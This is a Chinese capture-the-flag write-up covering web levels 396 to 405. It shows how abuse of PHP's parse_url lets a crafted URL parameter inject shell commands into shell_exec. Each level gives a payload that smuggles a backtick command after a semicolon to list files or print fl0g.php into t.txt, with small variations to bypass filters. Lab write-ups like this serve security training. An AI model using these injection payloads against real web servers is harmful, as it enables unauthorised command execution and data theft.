396
主要看parse_url这个函数,这个函数主要就是将一个url链接进行分解,例如http://baidu.com/aaa/bbb
其中host是baidu.com path是/aaa/bbb 注意这里的path是含有/的
所以例如传入http://`ls`/a.php,分解开就是 echo `ls`> /a.php,会写如到根目录下,不方便访问。
因此要想办法写入到当前目录,这里构造语句将前面提前闭合即可。http://1/1;echo `ls` >t.txt (注意这里用反引号,不用system,因为system是php函数,这里设shell_exec里,用反引号来代表命令替换)
发现flag文件,访问即可:http://1/1;echo `cat fl0g.php` >t.txt
397-401
分析同上,?url=http://1/1;echo `cat fl0g.php`%20>t.txt
402
开头不能是http或者https ?url=htp://1/1;echo%20`cat%20fl0g.php`%20>t.txt
403
简单的正则表达式,url=http://23.23.23.23/1;echo%20`cat%20fl0g.php`%20>t.txt
404
环境没打开,搞了半天要访问404.php,?url=php://222.222.222.22;echo `cat fl0g.php` > t.txt;/a
405
?url=php://222.222.222.22;echo `cat fl0g.php` > t.txt;/a